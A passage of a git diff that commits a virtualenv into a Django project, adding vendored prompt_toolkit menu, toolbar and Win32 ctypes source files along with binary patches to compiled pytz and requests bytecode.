prompt_toolkit.layout.containers import ( + AnyContainer, + ConditionalContainer, + Container, + Float, + FloatContainer, + HSplit, + Window, +) +from prompt_toolkit.layout.controls import FormattedTextControl +from prompt_toolkit.mouse_events import MouseEvent, MouseEventType +from prompt_toolkit.utils import get_cwidth +from prompt_toolkit.widgets import Shadow + +from .base import Border + +__all__ = [ + "MenuContainer", + "MenuItem", +] + +E = KeyPressEvent + + +class MenuContainer: + """ + :param floats: List of extra Float objects to display. + :param menu_items: List of `MenuItem` objects. + """ + + def __init__( + self, + body: AnyContainer, + menu_items: List["MenuItem"], + floats: Optional[List[Float]] = None, + key_bindings: Optional[KeyBindingsBase] = None, + ) -> None: + + self.body = body + self.menu_items = menu_items + self.selected_menu = [0] + + # Key bindings. + kb = KeyBindings() + + @Condition + def in_main_menu() -> bool: + return len(self.selected_menu) == 1 + + @Condition + def in_sub_menu() -> bool: + return len(self.selected_menu) > 1 + + # Navigation through the main menu. + + @kb.add("left", filter=in_main_menu) + def _left(event: E) -> None: + self.selected_menu[0] = max(0, self.selected_menu[0] - 1) + + @kb.add("right", filter=in_main_menu) + def _right(event: E) -> None: + self.selected_menu[0] = min( + len(self.menu_items) - 1, self.selected_menu[0] + 1 + ) + + @kb.add("down", filter=in_main_menu) + def _down(event: E) -> None: + self.selected_menu.append(0) + + @kb.add("c-c", filter=in_main_menu) + @kb.add("c-g", filter=in_main_menu) + def _cancel(event: E) -> None: + "Leave menu." + event.app.layout.focus_last() + + # Sub menu navigation. + + @kb.add("left", filter=in_sub_menu) + @kb.add("c-g", filter=in_sub_menu) + @kb.add("c-c", filter=in_sub_menu) + def _back(event: E) -> None: + "Go back to parent menu." + if len(self.selected_menu) > 1: + self.selected_menu.pop() + + @kb.add("right", filter=in_sub_menu) + def _submenu(event: E) -> None: + "go into sub menu." + if self._get_menu(len(self.selected_menu) - 1).children: + self.selected_menu.append(0) + + # If This item does not have a sub menu. Go up in the parent menu. + elif ( + len(self.selected_menu) == 2 + and self.selected_menu[0] < len(self.menu_items) - 1 + ): + self.selected_menu = [ + min(len(self.menu_items) - 1, self.selected_menu[0] + 1) + ] + if self.menu_items[self.selected_menu[0]].children: + self.selected_menu.append(0) + + @kb.add("up", filter=in_sub_menu) + def _up_in_submenu(event: E) -> None: + "Select previous (enabled) menu item or return to main menu." + # Look for previous enabled items in this sub menu. + menu = self._get_menu(len(self.selected_menu) - 2) + index = self.selected_menu[-1] + + previous_indexes = [ + i + for i, item in enumerate(menu.children) + if i < index and not item.disabled + ] + + if previous_indexes: + self.selected_menu[-1] = previous_indexes[-1] + elif len(self.selected_menu) == 2: + # Return to main menu. + self.selected_menu.pop() + + @kb.add("down", filter=in_sub_menu) + def _down_in_submenu(event: E) -> None: + "Select next (enabled) menu item." + menu = self._get_menu(len(self.selected_menu) - 2) + index = self.selected_menu[-1] + + next_indexes = [ + i + for i, item in enumerate(menu.children) + if i > index and not item.disabled + ] + + if next_indexes: + self.selected_menu[-1] = next_indexes[0] + + @kb.add("enter") + def _click(event: E) -> None: + "Click the selected menu item." + item = self._get_menu(len(self.selected_menu) - 1) + if item.handler: + event.app.layout.focus_last() + item.handler() + + # Controls. + self.control = FormattedTextControl( + self._get_menu_fragments, key_bindings=kb, focusable=True, show_cursor=False + ) + + self.window = Window(height=1, content=self.control, style="class:menu-bar") + + submenu = self._submenu(0) + submenu2 = self._submenu(1) + submenu3 = self._submenu(2) + + @Condition + def has_focus() -> bool: + return get_app().layout.current_window == self.window + + self.container = FloatContainer( + content=HSplit( + [ + # The titlebar. + self.window, + # The 'body', like defined above. + body, + ] + ), + floats=[ + Float( + xcursor=True, + ycursor=True, + content=ConditionalContainer( + content=Shadow(body=submenu), filter=has_focus + ), + ), + Float( + attach_to_window=submenu, + xcursor=True, + ycursor=True, + allow_cover_cursor=True, + content=ConditionalContainer( + content=Shadow(body=submenu2), + filter=has_focus + & Condition(lambda: len(self.selected_menu) >= 1), + ), + ), + Float( + attach_to_window=submenu2, + xcursor=True, + ycursor=True, + allow_cover_cursor=True, + content=ConditionalContainer( + content=Shadow(body=submenu3), + filter=has_focus + & Condition(lambda: len(self.selected_menu) >= 2), + ), + ), + # -- + ] + + (floats or []), + key_bindings=key_bindings, + ) + + def _get_menu(self, level: int) -> "MenuItem": + menu = self.menu_items[self.selected_menu[0]] + + for i, index in enumerate(self.selected_menu[1:]): + if i < level: + try: + menu = menu.children[index] + except IndexError: + return MenuItem("debug") + + return menu + + def _get_menu_fragments(self) -> StyleAndTextTuples: + focused = get_app().layout.has_focus(self.window) + + # This is called during the rendering. When we discover that this + # widget doesn't have the focus anymore. Reset menu state. + if not focused: + self.selected_menu = [0] + + # Generate text fragments for the main menu. + def one_item(i: int, item: MenuItem) -> Iterable[OneStyleAndTextTuple]: + def mouse_handler(mouse_event: MouseEvent) -> None: + hover = mouse_event.event_type == MouseEventType.MOUSE_MOVE + if ( + mouse_event.event_type == MouseEventType.MOUSE_DOWN + or hover + and focused + ): + # Toggle focus. + app = get_app() + if not hover: + if app.layout.has_focus(self.window): + if self.selected_menu == [i]: + app.layout.focus_last() + else: + app.layout.focus(self.window) + self.selected_menu = [i] + + yield ("class:menu-bar", " ", mouse_handler) + if i == self.selected_menu[0] and focused: + yield ("[SetMenuPosition]", "", mouse_handler) + style = "class:menu-bar.selected-item" + else: + style = "class:menu-bar" + yield style, item.text, mouse_handler + + result: StyleAndTextTuples = [] + for i, item in enumerate(self.menu_items): + result.extend(one_item(i, item)) + + return result + + def _submenu(self, level: int = 0) -> Window: + def get_text_fragments() -> StyleAndTextTuples: + result: StyleAndTextTuples = [] + if level < len(self.selected_menu): + menu = self._get_menu(level) + if menu.children: + result.append(("class:menu", Border.TOP_LEFT)) + result.append(("class:menu", Border.HORIZONTAL * (menu.width + 4))) + result.append(("class:menu", Border.TOP_RIGHT)) + result.append(("", "\n")) + try: + selected_item = self.selected_menu[level + 1] + except IndexError: + selected_item = -1 + + def one_item( + i: int, item: MenuItem + ) -> Iterable[OneStyleAndTextTuple]: + def mouse_handler(mouse_event: MouseEvent) -> None: + if item.disabled: + # The arrow keys can't interact with menu items that are disabled. + # The mouse shouldn't be able to either. + return + hover = mouse_event.event_type == MouseEventType.MOUSE_MOVE + if ( + mouse_event.event_type == MouseEventType.MOUSE_UP + or hover + ): + app = get_app() + if not hover and item.handler: + app.layout.focus_last() + item.handler() + else: + self.selected_menu = self.selected_menu[ + : level + 1 + ] + [i] + + if i == selected_item: + yield ("[SetCursorPosition]", "") + style = "class:menu-bar.selected-item" + else: + style = "" + + yield ("class:menu", Border.VERTICAL) + if item.text == "-": + yield ( + style + "class:menu-border", + f"{Border.HORIZONTAL * (menu.width + 3)}", + mouse_handler, + ) + else: + yield ( + style, + f" {item.text}".ljust(menu.width + 3), + mouse_handler, + ) + + if item.children: + yield (style, ">", mouse_handler) + else: + yield (style, " ", mouse_handler) + + if i == selected_item: + yield ("[SetMenuPosition]", "") + yield ("class:menu", Border.VERTICAL) + + yield ("", "\n") + + for i, item in enumerate(menu.children): + result.extend(one_item(i, item)) + + result.append(("class:menu", Border.BOTTOM_LEFT)) + result.append(("class:menu", Border.HORIZONTAL * (menu.width + 4))) + result.append(("class:menu", Border.BOTTOM_RIGHT)) + return result + + return Window(FormattedTextControl(get_text_fragments), style="class:menu") + + @property + def floats(self) -> Optional[List[Float]]: + return self.container.floats + + def __pt_container__(self) -> Container: + return self.container + + +class MenuItem: + def __init__( + self, + text: str = "", + handler: Optional[Callable[[], None]] = None, + children: Optional[List["MenuItem"]] = None, + shortcut: Optional[Sequence[Union[Keys, str]]] = None, + disabled: bool = False, + ) -> None: + + self.text = text + self.handler = handler + self.children = children or [] + self.shortcut = shortcut + self.disabled = disabled + self.selected_item = 0 + + @property + def width(self) -> int: + if self.children: + return max(get_cwidth(c.text) for c in self.children) + else: + return 0 diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/widgets/toolbars.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/widgets/toolbars.py new file mode 100644 index 00000000..e464be04 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/widgets/toolbars.py @@ -0,0 +1,374 @@ +from typing import Any, Optional + +from prompt_toolkit.application.current import get_app +from prompt_toolkit.buffer import Buffer +from prompt_toolkit.enums import SYSTEM_BUFFER +from prompt_toolkit.filters import ( + Condition, + FilterOrBool, + emacs_mode, + has_arg, + has_completions, + has_focus, + has_validation_error, + to_filter, + vi_mode, + vi_navigation_mode, +) +from prompt_toolkit.formatted_text import ( + AnyFormattedText, + StyleAndTextTuples, + fragment_list_len, + to_formatted_text, +) +from prompt_toolkit.key_binding.key_bindings import ( + ConditionalKeyBindings, + KeyBindings, + KeyBindingsBase, + merge_key_bindings, +) +from prompt_toolkit.key_binding.key_processor import KeyPressEvent +from prompt_toolkit.key_binding.vi_state import InputMode +from prompt_toolkit.keys import Keys +from prompt_toolkit.layout.containers import ConditionalContainer, Container, Window +from prompt_toolkit.layout.controls import ( + BufferControl, + FormattedTextControl, + SearchBufferControl, + UIContent, + UIControl, +) +from prompt_toolkit.layout.dimension import Dimension +from prompt_toolkit.layout.processors import BeforeInput +from prompt_toolkit.lexers import SimpleLexer +from prompt_toolkit.search import SearchDirection + +__all__ = [ + "ArgToolbar", + "CompletionsToolbar", + "FormattedTextToolbar", + "SearchToolbar", + "SystemToolbar", + "ValidationToolbar", +] + +E = KeyPressEvent + + +class FormattedTextToolbar(Window): + def __init__(self, text: AnyFormattedText, style: str = "", **kw: Any) -> None: + # Note: The style needs to be applied to the toolbar as a whole, not + # just the `FormattedTextControl`. + super().__init__( + FormattedTextControl(text, **kw), + style=style, + dont_extend_height=True, + height=Dimension(min=1), + ) + + +class SystemToolbar: + """ + Toolbar for a system prompt. + + :param prompt: Prompt to be displayed to the user. + """ + + def __init__( + self, + prompt: AnyFormattedText = "Shell command: ", + enable_global_bindings: FilterOrBool = True, + ) -> None: + + self.prompt = prompt + self.enable_global_bindings = to_filter(enable_global_bindings) + + self.system_buffer = Buffer(name=SYSTEM_BUFFER) + + self._bindings = self._build_key_bindings() + + self.buffer_control = BufferControl( + buffer=self.system_buffer, + lexer=SimpleLexer(style="class:system-toolbar.text"), + input_processors=[ + BeforeInput(lambda: self.prompt, style="class:system-toolbar") + ], + key_bindings=self._bindings, + ) + + self.window = Window( + self.buffer_control, height=1, style="class:system-toolbar" + ) + + self.container = ConditionalContainer( + content=self.window, filter=has_focus(self.system_buffer) + ) + + def _get_display_before_text(self) -> StyleAndTextTuples: + return [ + ("class:system-toolbar", "Shell command: "), + ("class:system-toolbar.text", self.system_buffer.text), + ("", "\n"), + ] + + def _build_key_bindings(self) -> KeyBindingsBase: + focused = has_focus(self.system_buffer) + + # Emacs + emacs_bindings = KeyBindings() + handle = emacs_bindings.add + + @handle("escape", filter=focused) + @handle("c-g", filter=focused) + @handle("c-c", filter=focused) + def _cancel(event: E) -> None: + "Hide system prompt." + self.system_buffer.reset() + event.app.layout.focus_last() + + @handle("enter", filter=focused) + async def _accept(event: E) -> None: + "Run system command." + await event.app.run_system_command( + self.system_buffer.text, + display_before_text=self._get_display_before_text(), + ) + self.system_buffer.reset(append_to_history=True) + event.app.layout.focus_last() + + # Vi. + vi_bindings = KeyBindings() + handle = vi_bindings.add + + @handle("escape", filter=focused) + @handle("c-c", filter=focused) + def _cancel_vi(event: E) -> None: + "Hide system prompt." + event.app.vi_state.input_mode = InputMode.NAVIGATION + self.system_buffer.reset() + event.app.layout.focus_last() + + @handle("enter", filter=focused) + async def _accept_vi(event: E) -> None: + "Run system command." + event.app.vi_state.input_mode = InputMode.NAVIGATION + event.app.run_system_command( + self.system_buffer.text, + display_before_text=self._get_display_before_text(), + ) + self.system_buffer.reset(append_to_history=True) + event.app.layout.focus_last() + + # Global bindings. (Listen to these bindings, even when this widget is + # not focussed.) + global_bindings = KeyBindings() + handle = global_bindings.add + + @handle(Keys.Escape, "!", filter=~focused & emacs_mode, is_global=True) + def _focus_me(event: E) -> None: + "M-'!' will focus this user control." + event.app.layout.focus(self.window) + + @handle("!", filter=~focused & vi_mode & vi_navigation_mode, is_global=True) + def _focus_me_vi(event: E) -> None: + "Focus." + event.app.vi_state.input_mode = InputMode.INSERT + event.app.layout.focus(self.window) + + return merge_key_bindings( + [ + ConditionalKeyBindings(emacs_bindings, emacs_mode), + ConditionalKeyBindings(vi_bindings, vi_mode), + ConditionalKeyBindings(global_bindings, self.enable_global_bindings), + ] + ) + + def __pt_container__(self) -> Container: + return self.container + + +class ArgToolbar: + def __init__(self) -> None: + def get_formatted_text() -> StyleAndTextTuples: + arg = get_app().key_processor.arg or "" + if arg == "-": + arg = "-1" + + return [ + ("class:arg-toolbar", "Repeat: "), + ("class:arg-toolbar.text", arg), + ] + + self.window = Window(FormattedTextControl(get_formatted_text), height=1) + + self.container = ConditionalContainer(content=self.window, filter=has_arg) + + def __pt_container__(self) -> Container: + return self.container + + +class SearchToolbar: + """ + :param vi_mode: Display '/' and '?' instead of I-search. + :param ignore_case: Search case insensitive. + """ + + def __init__( + self, + search_buffer: Optional[Buffer] = None, + vi_mode: bool = False, + text_if_not_searching: AnyFormattedText = "", + forward_search_prompt: AnyFormattedText = "I-search: ", + backward_search_prompt: AnyFormattedText = "I-search backward: ", + ignore_case: FilterOrBool = False, + ) -> None: + + if search_buffer is None: + search_buffer = Buffer() + + @Condition + def is_searching() -> bool: + return self.control in get_app().layout.search_links + + def get_before_input() -> AnyFormattedText: + if not is_searching(): + return text_if_not_searching + elif ( + self.control.searcher_search_state.direction == SearchDirection.BACKWARD + ): + return "?" if vi_mode else backward_search_prompt + else: + return "/" if vi_mode else forward_search_prompt + + self.search_buffer = search_buffer + + self.control = SearchBufferControl( + buffer=search_buffer, + input_processors=[ + BeforeInput(get_before_input, style="class:search-toolbar.prompt") + ], + lexer=SimpleLexer(style="class:search-toolbar.text"), + ignore_case=ignore_case, + ) + + self.container = ConditionalContainer( + content=Window(self.control, height=1, style="class:search-toolbar"), + filter=is_searching, + ) + + def __pt_container__(self) -> Container: + return self.container + + +class _CompletionsToolbarControl(UIControl): + def create_content(self, width: int, height: int) -> UIContent: + all_fragments: StyleAndTextTuples = [] + + complete_state = get_app().current_buffer.complete_state + if complete_state: + completions = complete_state.completions + index = complete_state.complete_index # Can be None! + + # Width of the completions without the left/right arrows in the margins. + content_width = width - 6 + + # Booleans indicating whether we stripped from the left/right + cut_left = False + cut_right = False + + # Create Menu content. + fragments: StyleAndTextTuples = [] + + for i, c in enumerate(completions): + # When there is no more place for the next completion + if fragment_list_len(fragments) + len(c.display_text) >= content_width: + # If the current one was not yet displayed, page to the next sequence. + if i <= (index or 0): + fragments = [] + cut_left = True + # If the current one is visible, stop here. + else: + cut_right = True + break + + fragments.extend( + to_formatted_text( + c.display_text, + style=( + "class:completion-toolbar.completion.current" + if i == index + else "class:completion-toolbar.completion" + ), + ) + ) + fragments.append(("", " ")) + + # Extend/strip until the content width. + fragments.append(("", " " * (content_width - fragment_list_len(fragments)))) + fragments = fragments[:content_width] + + # Return fragments + all_fragments.append(("", " ")) + all_fragments.append( + ("class:completion-toolbar.arrow", "<" if cut_left else " ") + ) + all_fragments.append(("", " ")) + + all_fragments.extend(fragments) + + all_fragments.append(("", " ")) + all_fragments.append( + ("class:completion-toolbar.arrow", ">" if cut_right else " ") + ) + all_fragments.append(("", " ")) + + def get_line(i: int) -> StyleAndTextTuples: + return all_fragments + + return UIContent(get_line=get_line, line_count=1) + + +class CompletionsToolbar: + def __init__(self) -> None: + self.container = ConditionalContainer( + content=Window( + _CompletionsToolbarControl(), height=1, style="class:completion-toolbar" + ), + filter=has_completions, + ) + + def __pt_container__(self) -> Container: + return self.container + + +class ValidationToolbar: + def __init__(self, show_position: bool = False) -> None: + def get_formatted_text() -> StyleAndTextTuples: + buff = get_app().current_buffer + + if buff.validation_error: + row, column = buff.document.translate_index_to_position( + buff.validation_error.cursor_position + ) + + if show_position: + text = "{} (line={} column={})".format( + buff.validation_error.message, + row + 1, + column + 1, + ) + else: + text = buff.validation_error.message + + return [("class:validation-toolbar", text)] + else: + return [] + + self.control = FormattedTextControl(get_formatted_text) + + self.container = ConditionalContainer( + content=Window(self.control, height=1), filter=has_validation_error + ) + + def __pt_container__(self) -> Container: + return self.container diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/win32_types.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/win32_types.py new file mode 100644 index 00000000..4ae2e393 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/win32_types.py @@ -0,0 +1,227 @@ +from ctypes import Structure, Union, c_char, c_long, c_short, c_ulong +from ctypes.wintypes import BOOL, DWORD, LPVOID, WCHAR, WORD +from typing import TYPE_CHECKING + +# Input/Output standard device numbers. Note that these are not handle objects. +# It's the `windll.kernel32.GetStdHandle` system call that turns them into a +# real handle object. +STD_INPUT_HANDLE = c_ulong(-10) +STD_OUTPUT_HANDLE = c_ulong(-11) +STD_ERROR_HANDLE = c_ulong(-12) + + +class COORD(Structure): + """ + Struct in wincon.h + http://msdn.microsoft.com/en-us/library/windows/desktop/ms682119(v=vs.85).aspx + """ + + if TYPE_CHECKING: + X: int + Y: int + + _fields_ = [ + ("X", c_short), # Short + ("Y", c_short), # Short + ] + + def __repr__(self) -> str: + return "{}(X={!r}, Y={!r}, type_x={!r}, type_y={!r})".format( + self.__class__.__name__, + self.X, + self.Y, + type(self.X), + type(self.Y), + ) + + +class UNICODE_OR_ASCII(Union): + if TYPE_CHECKING: + AsciiChar: bytes + UnicodeChar: str + + _fields_ = [ + ("AsciiChar", c_char), + ("UnicodeChar", WCHAR), + ] + + +class KEY_EVENT_RECORD(Structure): + """ + http://msdn.microsoft.com/en-us/library/windows/desktop/ms684166(v=vs.85).aspx + """ + + if TYPE_CHECKING: + KeyDown: int + RepeatCount: int + VirtualKeyCode: int + VirtualScanCode: int + uChar: UNICODE_OR_ASCII + ControlKeyState: int + + _fields_ = [ + ("KeyDown", c_long), # bool + ("RepeatCount", c_short), # word + ("VirtualKeyCode", c_short), # word + ("VirtualScanCode", c_short), # word + ("uChar", UNICODE_OR_ASCII), # Unicode or ASCII. + ("ControlKeyState", c_long), # double word + ] + + +class MOUSE_EVENT_RECORD(Structure): + """ + http://msdn.microsoft.com/en-us/library/windows/desktop/ms684239(v=vs.85).aspx + """ + + if TYPE_CHECKING: + MousePosition: COORD + ButtonState: int + ControlKeyState: int + EventFlags: int + + _fields_ = [ + ("MousePosition", COORD), + ("ButtonState", c_long), # dword + ("ControlKeyState", c_long), # dword + ("EventFlags", c_long), # dword + ] + + +class WINDOW_BUFFER_SIZE_RECORD(Structure): + """ + http://msdn.microsoft.com/en-us/library/windows/desktop/ms687093(v=vs.85).aspx + """ + + if TYPE_CHECKING: + Size: COORD + + _fields_ = [("Size", COORD)] + + +class MENU_EVENT_RECORD(Structure): + """ + http://msdn.microsoft.com/en-us/library/windows/desktop/ms684213(v=vs.85).aspx + """ + + if TYPE_CHECKING: + CommandId: int + + _fields_ = [("CommandId", c_long)] # uint + + +class FOCUS_EVENT_RECORD(Structure): + """ + http://msdn.microsoft.com/en-us/library/windows/desktop/ms683149(v=vs.85).aspx + """ + + if TYPE_CHECKING: + SetFocus: int + + _fields_ = [("SetFocus", c_long)] # bool + + +class EVENT_RECORD(Union): + if TYPE_CHECKING: + KeyEvent: KEY_EVENT_RECORD + MouseEvent: MOUSE_EVENT_RECORD + WindowBufferSizeEvent: WINDOW_BUFFER_SIZE_RECORD + MenuEvent: MENU_EVENT_RECORD + FocusEvent: FOCUS_EVENT_RECORD + + _fields_ = [ + ("KeyEvent", KEY_EVENT_RECORD), + ("MouseEvent", MOUSE_EVENT_RECORD), + ("WindowBufferSizeEvent", WINDOW_BUFFER_SIZE_RECORD), + ("MenuEvent", MENU_EVENT_RECORD), + ("FocusEvent", FOCUS_EVENT_RECORD), + ] + + +class INPUT_RECORD(Structure): + """ + http://msdn.microsoft.com/en-us/library/windows/desktop/ms683499(v=vs.85).aspx + """ + + if TYPE_CHECKING: + EventType: int + Event: EVENT_RECORD + + _fields_ = [("EventType", c_short), ("Event", EVENT_RECORD)] # word # Union. + + +EventTypes = { + 1: "KeyEvent", + 2: "MouseEvent", + 4: "WindowBufferSizeEvent", + 8: "MenuEvent", + 16: "FocusEvent", +} + + +class SMALL_RECT(Structure): + """struct in wincon.h.""" + + if TYPE_CHECKING: + Left: int + Top: int + Right: int + Bottom: int + + _fields_ = [ + ("Left", c_short), + ("Top", c_short), + ("Right", c_short), + ("Bottom", c_short), + ] + + +class CONSOLE_SCREEN_BUFFER_INFO(Structure): + """struct in wincon.h.""" + + if TYPE_CHECKING: + dwSize: COORD + dwCursorPosition: COORD + wAttributes: int + srWindow: SMALL_RECT + dwMaximumWindowSize: COORD + + _fields_ = [ + ("dwSize", COORD), + ("dwCursorPosition", COORD), + ("wAttributes", WORD), + ("srWindow", SMALL_RECT), + ("dwMaximumWindowSize", COORD), + ] + + def __repr__(self) -> str: + return "CONSOLE_SCREEN_BUFFER_INFO({!r},{!r},{!r},{!r},{!r},{!r},{!r},{!r},{!r},{!r},{!r})".format( + self.dwSize.Y, + self.dwSize.X, + self.dwCursorPosition.Y, + self.dwCursorPosition.X, + self.wAttributes, + self.srWindow.Top, + self.srWindow.Left, + self.srWindow.Bottom, + self.srWindow.Right, + self.dwMaximumWindowSize.Y, + self.dwMaximumWindowSize.X, + ) + + +class SECURITY_ATTRIBUTES(Structure): + """ + http://msdn.microsoft.com/en-us/library/windows/desktop/aa379560(v=vs.85).aspx + """ + + if TYPE_CHECKING: + nLength: int + lpSecurityDescriptor: int + bInheritHandle: int # BOOL comes back as 'int'. + + _fields_ = [ + ("nLength", DWORD), + ("lpSecurityDescriptor", LPVOID), + ("bInheritHandle", BOOL), + ] diff --git a/django_lottopy/lib/python3.10/site-packages/pytz/__pycache__/__init__.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/pytz/__pycache__/__init__.cpython-310.pyc index 42b97cd84cdb94f31095bbd5b8654dbd1a37a6c9..5492f06d8603283b6899bfeaa8bb987b98db6d0f 100644 GIT binary patch delta 1066 zcmZXTUr5tY6vub>&+*$PYk%C_SVE-jZ#0ZKTuoOvHD=4<)aIY5+cKe?+^rrgqIxYc zJrDH|K?H&IlKuz^Be16;pCTmo)_cK1g5K<$yY!{s!{>K?=X}q-zjMyLwQW}0W`>f{ zC@Jt+wm+I#H&i5+g*(zF3&UysYeyIZRZad%sa&i!^rw0_FL5v9?Z6xsa2tHAQ|>do z(&$OY^@Iqh%)2ZOD^|O43ms)8!m8w5vdgl-w0)#WVANuZq4|jvT7*tzW@g4?@YedA zMPbUe!+N2kDPbC-1UKO@Ap=WIXBvCaTw_&rwkMt9!{TRZP3QE{18v#&*cynYBU27^%FYYDu)Ey&ak0Pq@(_v?6&@_Lr zAE>I*bh$EjwYXTCFY-C@OTU^EwjAoc%JYkwQ<hKyC&URr5G@yt7A>b;I47hD z3#%;-`Ae`>%cAn1_Kh~|`^#*0zvxbq^wWN>B$}gYg<{u$hVr&rp<~KDC6o4eQtlpm zsKdl>`PhD<=^&9Mp`(CAMIR4>BDgMpan$q!D(5YwA?O)$j78_v9niB0ymvorsB+xMS+J6o``1-6{s zF6r=hsjxY@W?Ph?$Zty<5alPWue?z#6iri?b9uE`)-%w_SdImOHFEG)a=$GEEn2tj zrO8SBtB94i-c;)p7m!8EnxpD!_J@~}BNa1e7@B=B#2#di9PGD{P zwd)zg_=I~Kx_PuJ;Yd+~pKy>c!k4Q$Y~2_ZplHl=CI|SQ$IW-DdJn|*l_Hb&*g)Z` zCs;m8dFo*25mb~6+5F;n$|!up(+O$Z(#JzdOcV@^ZY)ShloDx*&ml7Wht~tc+*JL} z^G{WjCi9E4SJb84yvpW;H$STr?g`Wf_5DkxSnABF*3t%4QB{29_{Zjb^$yaoNrKp4 zsl4g4dlk$rS+Vh`qU0Buq7)zztYi`X&3DAyK@DTPT(0qrP&iJwK$s#-6NY)09JXdC z6t2biO}QRzeJ=Z9RC_NE8Y;3_l;H1tjDD8Yf;CAKq_rD|8v(z7wc4nq88yK&mgYOP zVH_*X{aD=)M6^3~Pr))sRSS#qhCrw!HKSAsc%hNz%kKu-Q2Hrw9n8YQ<>5b5Z_2K^4Vm-dEr5_Iglhz0Jf}!lE{qnI3-cKj zh6xL+HD2v=L#-KN+VA7*b?EzxOlE)6EhOos_sM-2rj0t?t_=hIEu+o?`aL~Jd#q23 zk3O_u>fxZnK&qR ZN@n?tdcrNf<$LrjoPR`7gs-b_{s61^^S%H8 diff --git a/django_lottopy/lib/python3.10/site-packages/pytz/__pycache__/exceptions.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/pytz/__pycache__/exceptions.cpython-310.pyc index 55d7ac0d55b7ba5c0a6375b7029a3552bda7cb3a..50a87b175706a0ec87cd05d4386567ab6c4752e3 100644 GIT binary patch delta 21 bcmca2a7BP8pO=@50SNlVXC!Up@!$XeJ6{DA delta 21 bcmca2a7BP8pO=@50SK~J?n&IpAR}ntethSg?>wiQ?xxjFI2`if*NfepKC17*gr{28S;KW& z&3ePK$a03(K$f4S$vofH9zH_3g$?p-B6vYew_TTKMu#$9rZAN; z<#yxTYBe2~N62>wRmBWYBCmiEh{KywSEyKD@}!wL6BgBJW(_)OQesQc(^7019<&Tw zA+c_w@S1X032b0`f~`SPzh&$2q$dk)a*N_y#1w*U1e{GHzC*B!;ISs(qkx}N&0mv? z-NmQ|1qv`5DNYrU;w}D2OC%7gGTcSxbC+a`?nlV}xkr%hfhYSu$JI}X3Pg=8Gil8j z^|`?3$Oy8}&-{|6i*=*$smO7DOldS^M&ecCqV);9DB~du?R)ao;MJ&2h#!?ATTCW| LHg<_YX)OB%OI&j) delta 546 zcmeBH?N;T<=jG*M0D|n5dlEPD+-H}K;)#z>Pc13V$xKd-j|cIJ5xmVD9Q&E%{DJC= z0)WIy<{||U+ZROmfdm+f{3k!VoPTs($$>;=Dd_a(edjd$WGl+_eSr|gKp+zs7HCR?K?=aC zLMAT}FtV!#@xiu-0$Di1gB=tez#xOzQ42RBY_f=;DPuUyo5GbqnPLtg!NI`7$il?O z5B9FeUjc5v|1Vai>3Qse$ z3q!0xt!#~OjX;g8B!eVFtz3;<3a2E)1jb@-Mut45$(n4k-0?LsDg4S&o<%O=U$0@62uu`pxvLN-H2##@swv!`g>;)*XVNzPA8D^4xB#U5W$ zm6w>CnrWcL!0=KI=+>7uKthwbNPcoWhZImt6~`<_`OTu7I~j#p7+L-cFp02;G4e2S zF$w@N%jAb#5>k#p9k)2*<8u=;^Wx+EG#PKP6%-U@=9S!-)j6kx`Z?Za@ta(C>ObUNC%LK-v4v2nn zh7z_K{$|EzCZGv&C??3)$U{wNn_SH%$=wDvrvqqK=H|II7zgkM!8`Az;tPENt;$&yhoZK=zZFEN;3`NEj%zQT2f4fQS`qT)O-`WK!$`k#C zl>0yWDlv;{9sVfEn$aMR>=;*s_TLSIkb?X$zf7w2fb+0jhdKFX)t08zk<2`cx(TGG z00~g7bK`-}QkcYUWyFya_H=y~r}IcfK}Uq(nHI3rOH-iZ!?v|f5~mQhVG;MpOWPp} z^42cRR8^f>B8bgDQc2s)-N0=WY&75rItIbT~Nf3l_04IjY>b1NYk!CyUC6FEg zBp@~K$_1aMFo|g;L{*I2`9>MbS;Vx0%yQ187SPm9Q#c>{i>-S}oI==z8r~6Sc7@D| zYr8nHfW5`TsK@AK$WjX8-mcuh5(X}#nSm9o8(5D-iBB1aCMv6lHI%b%FNAe$HxQeM zEkpsajo3l#DoCAE&ch_;u!q_{Y8F?|?Q_Rd@f;2^;v_fUffo90^fi_QK^OX6Qkhd{Vc{n@-vGO0M9`R`~Uy| diff --git a/django_lottopy/lib/python3.10/site-packages/requests/__pycache__/adapters.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/requests/__pycache__/adapters.cpython-310.pyc index d3ffa950d6982cf60240498ba9e6516e068d3d06..b217a99a3a2b015090b9d2cbf0e70adfbf6450bf 100644 GIT binary patch delta 877 zcmYk4PiPZC6vmxyo3u8uF;c74s}5iL}-?Yy3{EsLg{tZgwZ;3)-Tnq{w2I4<3q`#apFy+EK%lY8%s=1tus57t2@en*R>Wm>yGR%HHEyW3g*?<#;fWkx!-Sx zRvWBt_e-?fAHY#WW71BSp~9O6E95$#AMA_Y!k?ZZmL${xxQDejcNnV(;u_*1;t}Er zqJk*%pM$%1IkFUfxf#1iEqII#d@aIn8q9DUfMq@qJ4iHc#wz3n{}I#30v{Pthi1@4 zsCS(3r_7R-qiI;gfD_nK8n=PRPP!k@**$aDTHzKsapp6F5EpxlZGAcBZjhz*D~LOx| delta 872 zcmYk4O-vI(6vv$|w8gf9BnSpk5v(qviPn%93atqeFGj@!5jAz#PS|zZ-S+KnpdJVx zrXEZ*WNsQSA|?UqA{nItm&j%k7;g`Fcl;Lryh?wJ2*K_0svd@0>R1teI z7iE@|4Qom$K&M3*7x*hh^b0Cff}shvf~H z&*`pP$^k2T%yGqT&yiE-99uK%j>_Nb+Ag=?j~w?JV?n84UxTl!9r9|wo!SbOUH?m} zI}*n!M8l+=uRxVI4$hIgygJyId4T;_5o;3a06fGv7`YXrB;pR@31S)X3=uS%iHN3q zmdWz)6boFylp>!1EMXKa*wewg6yf?Kf}8%@P!A#3_~vjbbsdjT#1%vt5e&^S3RcQu z^lt}~pU#+J55+fpB{N2z^Iw^LWP-P4d(`(R#}IKu0`V5H3(<^dLA>KMtCRcuL$=Ve PiNYtuCBzFpdbaupzAFMe diff --git a/django_lottopy/lib/python3.10/site-packages/requests/__pycache__/api.cpython-310.pyc 